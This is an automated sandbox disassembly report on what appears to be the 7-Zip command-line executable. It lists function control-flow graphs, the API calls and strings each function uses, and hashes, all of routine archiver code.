                                                                                                                                                                                                                                                                                    control_flow_graph 2843 c87ebc-c87ee3 call c89b68 2846 c87ee9-c87f26 call c8339c call c89ce4 2843->2846 2847 c87fca-c87fd6 call c89ddc 2843->2847 2859 c87f28-c87f2c 2846->2859 2860 c87f8c-c87fa4 call c891dc 2846->2860 2853 c87fdc-c87fe4 2847->2853 2854 c88253-c8828a call c89d0c call c89b30 2847->2854 2853->2854 2856 c87fea-c8800c call c83274 * 2 2853->2856 2870 c8828c-c88294 2854->2870 2871 c88306-c8830b 2854->2871 2878 c8801b-c88020 2856->2878 2879 c8800e-c88017 2856->2879 2859->2860 2863 c87f2e-c87f77 call c8abb0 2859->2863 2874 c87fa8-c87fac 2860->2874 2875 c87fa6 2860->2875 2863->2860 2877 c87f79-c87f87 2863->2877 2870->2871 2876 c88296-c882a5 call c87d4c 2870->2876 2883 c88318-c8831c 2871->2883 2884 c8830d-c88312 2871->2884 2881 c87fae-c87fb3 2874->2881 2882 c87fb6 2874->2882 2880 c87fb9-c87fc5 call c889d8 2875->2880 2892 c884f2-c88500 call c87978 2876->2892 2903 c882ab-c882b2 2876->2903 2888 c88519-c88524 2877->2888 2889 c88040-c8804c call c83670 2878->2889 2890 c88022-c8803e call c82880 2878->2890 2879->2878 2880->2888 2881->2882 2882->2880 2885 c8831e-c88330 call c87d4c 2883->2885 2886 c88377-c88381 call c89c80 2883->2886 2884->2883 2884->2892 2885->2892 2907 c88336-c8833d 2885->2907 2886->2892 2908 c88387-c88396 2886->2908 2900 c88051-c88062 call c89ce4 2889->2900 2890->2889 2890->2900 2904 c88505-c88506 2892->2904 2916 c880b1-c880bb call c87ebc 2900->2916 2917 c88064-c88067 2900->2917 2903->2892 2909 c882b8-c882eb call c8339c 2903->2909 2910 c88509-c88511 call c8794c 2904->2910 2907->2892 2912 c88343-c88372 2907->2912 2908->2892 2913 c8839c-c883a6 call c89ab0 2908->2913 2924 c882fc-c88301 2909->2924 2925 c882ed-c882f8 2909->2925 2920 c88516 2910->2920 2912->2910 2913->2892 2930 c883ac-c883c2 call c83274 2913->2930 2928 c880c1-c88108 call c83314 call c83208 call c87ce0 2916->2928 2934 c8823e-c8824e free * 2 2916->2934 2921 c88069-c8806c 2917->2921 2922 c88075-c880a3 2917->2922 2920->2888 2921->2916 2927 c8806e-c88073 2921->2927 2922->2928 2929 c880a5-c880af call c83404 2922->2929 2924->2910 2925->2924 2927->2916 2927->2922 2953 c8815a-c88185 free * 2 call c8794c free 2928->2953 2954 c8810a-c88111 2928->2954 2929->2928 2940 c883d2-c883f2 2930->2940 2941 c883c4-c883ce call c82fec 2930->2941 2934->2854 2944 c88402-c88437 call c87978 2940->2944 2945 c883f4-c883fe call c82fec 2940->2945 2941->2940 2955 c88439-c88457 wcscmp 2944->2955 2956 c88484-c8849d call c87d4c 2944->2956 2945->2944 2968 c8822d-c88239 free 2953->2968 2957 c8818a-c881c1 SetLastError free * 2 call c8794c free 2954->2957 2958 c88113-c88124 call c82748 2954->2958 2959 c88459-c88477 call c8339c free 2955->2959 2960 c8847c 2955->2960 2969 c8849f-c884a1 2956->2969 2970 c884b3-c884f0 call c8339c free 2956->2970 2957->2968 2977 c8812a-c88158 free call c83208 call c87ce0 2958->2977 2978 c881c3-c881ca 2958->2978 2959->2910 2960->2956 2968->2888 2974 c884a3-c884a5 2969->2974 2975 c884a7-c884b1 free 2969->2975 2970->2910 2974->2970 2974->2975 2975->2892 2977->2953 2977->2954 2979 c881cc-c881d1 2978->2979 2980 c881e0-c8822a call c8362c free * 2 call c8794c free 2978->2980 2979->2980 2983 c881d3-c881dc 2979->2983 2980->2968 2983->2980
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C8812F
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C8816A
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C8817F
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C88232
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8ABB0: GetModuleHandleW.KERNEL32 ref: 00C8ABD1
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8ABB0: GetProcAddress.KERNEL32 ref: 00C8ABE1
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 00C8AC32
                                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32 ref: 00C8818F
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C8819B
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C881A6
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C881BB
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C88243
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C8824E
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00C8815F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8339C: free.MSVCRT ref: 00C833D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8339C: memmove.MSVCRT(00000000,?,?,00000000,00C810A8), ref: 00C833F2
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$AddressDiskErrorFreeHandleLastModuleProcSpacememmove
                                                                                                                                                                                                                                                                                    • String ID: :$:$DATA$\
                                                                                                                                                                                                                                                                                    • API String ID: 4130059181-1004618218
                                                                                                                                                                                                                                                                                    • Opcode ID: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
                                                                                                                                                                                                                                                                                    • Instruction ID: 53415c1e33da1ae494fca92514c22528f177d54f6fce4c51444398b88f5c4b85
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7d47eded2622c94f0ddccb54c994b41fb8cf36bc1bcc716852e6415c4a0d71d6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2502A33310468096CB20FF25E59026EB770F795758F905226E79E87F68EF34C96ADB08
                                                                                                                                                                                                                                                                                    Function 00CC3E84 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 227COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 2991 cc3e84-cc3eb5 2992 cc41e8 2991->2992 2993 cc3ebb 2991->2993 2995 cc41ea-cc41fd 2992->2995 2994 cc3ebe-cc3efa fputs call cc2e24 2993->2994 2998 cc3efc-cc3f03 2994->2998 2999 cc3f51-cc3f59 2994->2999 3002 cc3f1f-cc3f4c call c83274 call cc30cc free 2998->3002 3003 cc3f05-cc3f1d fputs call c82300 2998->3003 3000 cc3f5b-cc3f62 2999->3000 3001 cc3f64-cc3f6f 2999->3001 3005 cc3f73-cc3f9e call cc2e24 call cc3148 3000->3005 3001->3005 3002->2999 3003->2999 3015 cc3fa0-cc3fce fputs * 2 call c82640 call c82300 3005->3015 3016 cc3fd3-cc3fe3 call cc3034 3005->3016 3015->3016 3019 cc3fe8-cc3fea 3016->3019 3019->2995 3022 cc3ff0-cc3ff7 3019->3022 3023 cc402c-cc403c 3022->3023 3024 cc3ff9-cc4027 fputs * 2 call c826a0 call c82300 3022->3024 3023->2995 3029 cc4042-cc4048 3023->3029 3024->3023 3030 cc40af-cc40b9 3029->3030 3031 cc404a-cc4079 3029->3031 3032 cc419d-cc41b1 3030->3032 3033 cc40bf-cc40e0 fputs 3030->3033 3036 cc407f-cc4096 call cc3034 3031->3036 3037 cc41b9 3031->3037 3032->2994 3034 cc41b7 3032->3034 3033->3032 3041 cc40e6-cc40fc 3033->3041 3034->2992 3044 cc409c-cc40ad SysFreeString 3036->3044 3045 cc41bb 3036->3045 3040 cc41bd-cc41ca SysFreeString 3037->3040 3040->2995 3041->3032 3043 cc4102-cc4133 3041->3043 3047 cc41cc 3043->3047 3048 cc4139-cc4162 3043->3048 3044->3030 3044->3031 3045->3040 3049 cc41d9-cc41e6 SysFreeString 3047->3049 3051 cc41ce-cc41d8 call c8ae2c 3048->3051 3052 cc4164-cc4197 call cc2ecc call c8ae2c SysFreeString 3048->3052 3049->2995 3051->3049 3052->3032 3052->3043
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputs$FreeString$fputcfree
                                                                                                                                                                                                                                                                                    • String ID: = $--$----$Path$Type$Warning: The archive is open with offset
                                                                                                                                                                                                                                                                                    • API String ID: 2701146716-1919703766
                                                                                                                                                                                                                                                                                    • Opcode ID: 056823ced0437aa058963227a671e786ca22100c31a9c30bcc1abefe94dc5ebc
                                                                                                                                                                                                                                                                                    • Instruction ID: 772d2dec73ef9d0abd91eff0c7c15ac405bae6a32c6a81f1a4494e4229f22728
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 056823ced0437aa058963227a671e786ca22100c31a9c30bcc1abefe94dc5ebc
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9C918E36214A8592EB14EF22E964B6E7371F795BC8F04912AEE9E47728DF38C945C700
                                                                                                                                                                                                                                                                                    Function 00C8F71C Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 218COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 3059 c8f71c-c8f74e call c81610 3062 c8f750-c8f773 call ca02a0 _CxxThrowException 3059->3062 3063 c8f774-c8f7c2 _isatty * 3 3059->3063 3062->3063 3065 c8f7d4 3063->3065 3066 c8f7c4-c8f7c8 3063->3066 3069 c8f7d9-c8f81c 3065->3069 3066->3065 3068 c8f7ca-c8f7ce 3066->3068 3068->3065 3070 c8f7d0-c8f7d2 3068->3070 3071 c8f82a 3069->3071 3072 c8f81e-c8f822 3069->3072 3070->3069 3073 c8f830-c8f834 3071->3073 3072->3071 3074 c8f824-c8f828 3072->3074 3075 c8f83c-c8f846 3073->3075 3076 c8f836 3073->3076 3074->3071 3074->3073 3077 c8f848-c8f84e 3075->3077 3078 c8f854-c8f85e 3075->3078 3076->3075 3077->3078 3079 c8f86c-c8f876 3078->3079 3080 c8f860-c8f866 3078->3080 3081 c8f878-c8f87e 3079->3081 3082 c8f884-c8f88e 3079->3082 3080->3079 3081->3082 3083 c8f890-c8f89d 3082->3083 3084 c8f8f3-c8f8fd 3082->3084 3087 c8f8ab-c8f8be call c8ed34 3083->3087 3088 c8f89f-c8f8a9 3083->3088 3085 c8f91a-c8f931 call c8ac74 * 2 3084->3085 3086 c8f8ff-c8f917 3084->3086 3097 c8f936-c8f940 3085->3097 3086->3085 3094 c8f8c0-c8f8e5 call ca02a0 _CxxThrowException 3087->3094 3095 c8f8e6-c8f8ed 3087->3095 3088->3084 3094->3095 3095->3084 3099 c8f9dd-c8f9e7 3097->3099 3100 c8f946-c8f95c 3097->3100 3103 c8f9ed-c8f9fa 3099->3103 3104 c8fa94-c8fa9c 3099->3104 3101 c8f95e-c8f963 3100->3101 3102 c8f965-c8f977 wcscmp 3100->3102 3105 c8f9bb-c8f9c2 call c8ad0c 3101->3105 3102->3105 3106 c8f979-c8f98c call c8ed34 3102->3106 3103->3104 3107 c8fa00-c8fa1c call c82bc8 call c82d34 3103->3107 3105->3099 3117 c8f9c4-c8f9d7 call ccd4c0 call c8ac74 3105->3117 3114 c8f98e-c8f9b3 call ca02a0 _CxxThrowException 3106->3114 3115 c8f9b4 3106->3115 3122 c8fa1e-c8fa3b call c83f78 3107->3122 3123 c8fa4f-c8fa74 call ca02a0 _CxxThrowException 3107->3123 3114->3115 3115->3105 3117->3099 3131 c8fa49-c8fa4d 3122->3131 3132 c8fa3d-c8fa46 3122->3132 3133 c8fa75-c8fa8f GetCurrentProcess SetProcessAffinityMask free 3123->3133 3131->3123 3131->3133 3132->3131 3133->3104
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    • SeRestorePrivilege, xrefs: 00C8F91C
                                                                                                                                                                                                                                                                                    • SeLockMemoryPrivilege, xrefs: 00C8F9CB
                                                                                                                                                                                                                                                                                    • Unsupported switch postfix -stm, xrefs: 00C8FA52
                                                                                                                                                                                                                                                                                    • SeCreateSymbolicLinkPrivilege, xrefs: 00C8F92A
                                                                                                                                                                                                                                                                                    • Unsupported switch postfix -bb, xrefs: 00C8F8C3
                                                                                                                                                                                                                                                                                    • Unsupported switch postfix for -slp, xrefs: 00C8F991
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExceptionThrowfree$_isatty$Process$AffinityCurrentMaskwcscmp
                                                                                                                                                                                                                                                                                    • String ID: SeCreateSymbolicLinkPrivilege$SeLockMemoryPrivilege$SeRestorePrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
                                                                                                                                                                                                                                                                                    • API String ID: 1961088698-2328792591
                                                                                                                                                                                                                                                                                    • Opcode ID: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
                                                                                                                                                                                                                                                                                    • Instruction ID: b6e32747a329ee337bcae20f31427f6edbd78c31264d286cd620527907d14612
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9fbf6495933f589f3caaa937893ccbef6d2c554dfb66b53bc2ba33e20914ec5e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 98A1B373608BC499EB11EF25D4907AC3F21E396B98F58817ADB9C47725DF28CA86C310
                                                                                                                                                                                                                                                                                    Function 00CCA448 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 145COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 3134 cca448-cca455 3135 cca49c-cca4a4 3134->3135 3136 cca457-cca45f 3134->3136 3138 cca4f4 3135->3138 3139 cca4a6-cca4a9 3135->3139 3136->3135 3137 cca461-cca495 call c82300 fputs call c826a0 call c82300 3136->3137 3137->3135 3143 cca4fc-cca50a 3138->3143 3140 cca4df-cca4e5 3139->3140 3141 cca4ab-cca4da call c82300 fputs call c826a0 call c82300 3139->3141 3140->3143 3141->3140 3146 cca50c 3143->3146 3147 cca53d-cca559 free 3143->3147 3150 cca510-cca526 3146->3150 3151 cca58c-cca5b5 free 3147->3151 3152 cca55b 3147->3152 3156 cca538-cca53b 3150->3156 3157 cca528-cca533 free * 2 3150->3157 3161 cca5c5-cca5c8 3151->3161 3162 cca5b7-cca5be 3151->3162 3158 cca55f-cca575 3152->3158 3156->3147 3156->3150 3157->3156 3159 cca587-cca58a 3158->3159 3160 cca577-cca582 free * 2 3158->3160 3159->3151 3159->3158 3160->3159 3167 cca5ca-cca5e6 _CxxThrowException 3161->3167 3168 cca5e7-cca603 free 3161->3168 3162->3161 3165 cca5c0 3162->3165 3170 cca5c0 call cc66a8 3165->3170 3167->3168 3171 cca605 3168->3171 3172 cca626-cca637 free call caa13c 3168->3172 3170->3161 3173 cca609-cca624 free 3171->3173 3175 cca63c-cca675 call cc7080 call c8182c call cc7f50 3172->3175 3173->3172 3173->3173 3182 cca6a8-cca6c9 free 3175->3182 3183 cca677 3175->3183 3184 cca67b-cca691 3183->3184 3186 cca6a3-cca6a6 3184->3186 3187 cca693-cca69e free * 2 3184->3187 3186->3182 3186->3184 3187->3186
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$fputs$ExceptionThrowfputc
                                                                                                                                                                                                                                                                                    • String ID: Errors: $Warnings:
                                                                                                                                                                                                                                                                                    • API String ID: 437615013-2345102087
                                                                                                                                                                                                                                                                                    • Opcode ID: c17e1b3a36cdbbfd7996e98bb7f23ae8f9c07938e1b3301a2bd11b1a59f54ab7
                                                                                                                                                                                                                                                                                    • Instruction ID: c0de1d869c2200d1dbb139e8f44e57657039cc42f19d57cf9aa132af2c67108a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c17e1b3a36cdbbfd7996e98bb7f23ae8f9c07938e1b3301a2bd11b1a59f54ab7
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9A51F7323549C481C930FB25E9D97ADA361F7C1788F585226DEAE07729CF38C9829705
                                                                                                                                                                                                                                                                                    Function 00CA83C8 Relevance: 27.2, APIs: 13, Strings: 5, Instructions: 152COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 3188 ca83c8-ca841d call c86570 call c831c0 call c88624 3195 ca841f-ca844c call c831c0 call c886dc 3188->3195 3196 ca8482 3188->3196 3195->3196 3210 ca844e-ca847b call c831c0 call c886dc 3195->3210 3198 ca8485-ca8489 3196->3198 3200 ca848b-ca8498 free 3198->3200 3201 ca8499-ca849d 3198->3201 3200->3201 3203 ca849f-ca84ac free 3201->3203 3204 ca84ad-ca84b1 3201->3204 3203->3204 3205 ca84bd-ca84c0 3204->3205 3206 ca84b3-ca84b8 free 3204->3206 3208 ca85ef-ca8607 call c83314 free 3205->3208 3209 ca84c6-ca84ee call c83208 call ca8290 3205->3209 3206->3205 3217 ca860a-ca8611 3208->3217 3222 ca851b-ca8538 call ca8290 3209->3222 3223 ca84f0-ca8516 call c83314 free * 2 3209->3223 3210->3196 3224 ca847d-ca8480 3210->3224 3229 ca853a-ca8560 call c83314 free * 2 3222->3229 3230 ca8565-ca857b call ca8290 3222->3230 3223->3217 3224->3198 3229->3217 3235 ca857d-ca85a3 call c83314 free * 2 3230->3235 3236 ca85a5-ca85bb call ca8290 3230->3236 3235->3217 3241 ca85bd-ca85e3 call c83314 free * 2 3236->3241 3242 ca85e5-ca85ea free 3236->3242 3241->3217 3242->3208
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove
                                                                                                                                                                                                                                                                                    • String ID: 7z.dll$Codecs$Formats$Path$Path64
                                                                                                                                                                                                                                                                                    • API String ID: 1534225298-3804457719
                                                                                                                                                                                                                                                                                    • Opcode ID: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
                                                                                                                                                                                                                                                                                    • Instruction ID: 462441756dbbcc1fe152dd115b7f36442b10d6c31e0e7994d48511c6e8595b04
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 83274c2b3d544992283108eb9c5b7aa940d95cecb85798d2266b0b7fa0fa9ebc
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FD51C66220464681DE20FF15E4557AD6720D7C7BECF942222BE5E077B9DF28CA8BD708
                                                                                                                                                                                                                                                                                    Function 00CAAB74 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 268libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 3245 caab74-caaba4 3246 caabd3-caabf5 3245->3246 3247 caaba6 3245->3247 3249 caabfb 3246->3249 3250 caae31-caae78 call ca83c8 call c831c0 call caa7fc free 3246->3250 3248 caabaa-caabbc 3247->3248 3252 caabce-caabd1 3248->3252 3253 caabbe-caabc9 call ca94a8 free 3248->3253 3254 caac02-caacba call c83208 call c83518 call c83208 * 2 3249->3254 3268 caae7a 3250->3268 3269 caae7f-caae87 3250->3269 3252->3246 3252->3248 3253->3252 3277 caacbc-caacc1 call c83518 3254->3277 3278 caacc6-caaccd 3254->3278 3271 caaf7a-caaf99 free 3268->3271 3272 caae99-caaeca call c831c0 call caa9fc free 3269->3272 3273 caae89-caae94 call c8339c 3269->3273 3287 caaecc 3272->3287 3288 caaed1-caaeee call c831c0 call caa9fc 3272->3288 3273->3272 3277->3278 3281 caacd9-caad35 call ca9d98 free * 2 3278->3281 3282 caaccf-caacd4 call c83518 3278->3282 3291 caad51-caad61 call c82130 3281->3291 3292 caad37-caad4c call caa034 3281->3292 3282->3281 3287->3271 3300 caaef3-caaf02 free 3288->3300 3301 caad6c 3291->3301 3302 caad63-caad6a 3291->3302 3299 caaddd-caadf2 call c82130 3292->3299 3311 caae03 3299->3311 3312 caadf4-caae01 call ca9af0 3299->3312 3304 caaf06-caaf10 3300->3304 3305 caaf04 3300->3305 3306 caad6f-caad8b call c8b8f0 3301->3306 3302->3306 3308 caaf18-caaf1b 3304->3308 3309 caaf12-caaf16 3304->3309 3305->3271 3317 caadbd-caadc0 3306->3317 3318 caad8d-caad93 3306->3318 3313 caaf2a-caaf2e 3308->3313 3315 caaf1d-caaf24 3308->3315 3309->3313 3319 caae06-caae2b call c8b8f0 call ca94a8 3311->3319 3312->3319 3321 caaf30-caaf36 3313->3321 3322 caaf77 3313->3322 3315->3313 3320 caaf26 3315->3320 3323 caadda 3317->3323 3324 caadc2-caadd3 memmove 3317->3324 3326 caada1-caadac 3318->3326 3327 caad95-caad9a free 3318->3327 3319->3250 3319->3254 3320->3313 3321->3322 3329 caaf38 3321->3329 3322->3271 3323->3299 3324->3299 3330 caadae-caadb9 call c82130 3326->3330 3331 caadd5-caadd8 3326->3331 3327->3326 3333 caaf3b-caaf5a GetProcAddress 3329->3333 3330->3317 3331->3299 3334 caaf5c-caaf64 3333->3334 3335 caaf66-caaf6f 3333->3335 3334->3335 3342 caaf73-caaf75 3334->3342 3335->3333 3338 caaf71 3335->3338 3338->3322 3342->3271
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAABC9
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAACF3
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAACFE
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAAD95
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT(?), ref: 00CAADCB
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAAE70
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAAF7F
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA94A8: free.MSVCRT ref: 00CA94DB
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA94A8: free.MSVCRT ref: 00CA94E3
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA94A8: free.MSVCRT ref: 00CA94F0
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA94A8: free.MSVCRT ref: 00CA951C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA94A8: free.MSVCRT ref: 00CA9525
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA94A8: free.MSVCRT ref: 00CA952D
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CA94A8: free.MSVCRT ref: 00CA953A
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAAEC2
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8339C: free.MSVCRT ref: 00C833D7
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C8339C: memmove.MSVCRT(00000000,?,?,00000000,00C810A8), ref: 00C833F2
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CAA9FC: free.MSVCRT ref: 00CAAA95
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CAA9FC: free.MSVCRT ref: 00CAAAC5
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CAA9FC: free.MSVCRT ref: 00CAAAD2
                                                                                                                                                                                                                                                                                    • free.MSVCRT ref: 00CAAEFA
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32 ref: 00CAAF4D
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
